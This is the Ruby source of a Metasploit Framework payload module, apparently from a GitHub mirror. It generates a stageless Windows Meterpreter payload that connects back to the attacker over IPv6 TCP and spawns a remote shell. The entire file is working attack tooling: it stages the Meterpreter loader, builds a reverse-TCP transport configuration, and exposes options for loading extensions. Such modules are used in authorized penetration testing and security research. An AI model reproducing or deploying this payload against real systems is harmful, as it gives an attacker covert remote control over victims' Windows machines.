/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb

https://github.com/asnild/meta · Ruby · 71 lines · 50 code · 14 blank · 7 comment · 3 complexity · 0dff3c82ebebd4317db22d8b0f0a13c1 MD5 · raw file

  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'msf/core/payload/transport_config'
  7. require 'msf/core/handler/reverse_tcp'
  8. require 'msf/core/payload/windows/meterpreter_loader'
  9. require 'msf/base/sessions/meterpreter_x86_win'
  10. require 'msf/base/sessions/meterpreter_options'
  11. require 'rex/payloads/meterpreter/config'
  12. module MetasploitModule
  13. CachedSize = 957487
  14. include Msf::Payload::TransportConfig
  15. include Msf::Payload::Windows
  16. include Msf::Payload::Single
  17. include Msf::Payload::Windows::MeterpreterLoader
  18. include Msf::Sessions::MeterpreterOptions
  19. def initialize(info = {})
  20. super(merge_info(info,
  21. 'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline (IPv6)',
  22. 'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
  23. 'Author' => [ 'OJ Reeves' ],
  24. 'License' => MSF_LICENSE,
  25. 'Platform' => 'win',
  26. 'Arch' => ARCH_X86,
  27. 'Handler' => Msf::Handler::ReverseTcp,
  28. 'Session' => Msf::Sessions::Meterpreter_x86_Win
  29. ))
  30. register_options([
  31. OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
  32. OptString.new('EXTINIT', [false, 'Initialization strings for extensions']),
  33. OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0])
  34. ], self.class)
  35. end
  36. def generate(opts={})
  37. opts[:stageless] = true
  38. stage_meterpreter(opts) + generate_config(opts)
  39. end
  40. def generate_config(opts={})
  41. opts[:uuid] ||= generate_payload_uuid
  42. # create the configuration block
  43. config_opts = {
  44. arch: opts[:uuid].arch,
  45. exitfunk: datastore['EXITFUNC'],
  46. expiration: datastore['SessionExpirationTimeout'].to_i,
  47. uuid: opts[:uuid],
  48. transports: [transport_config_reverse_ipv6_tcp(opts)],
  49. extensions: (datastore['EXTENSIONS'] || '').split(','),
  50. ext_init: (datastore['EXTINIT'] || '')
  51. }
  52. # create the configuration instance based off the parameters
  53. config = Rex::Payloads::Meterpreter::Config.new(config_opts)
  54. # return the binary version of it
  55. config.to_b
  56. end
  57. end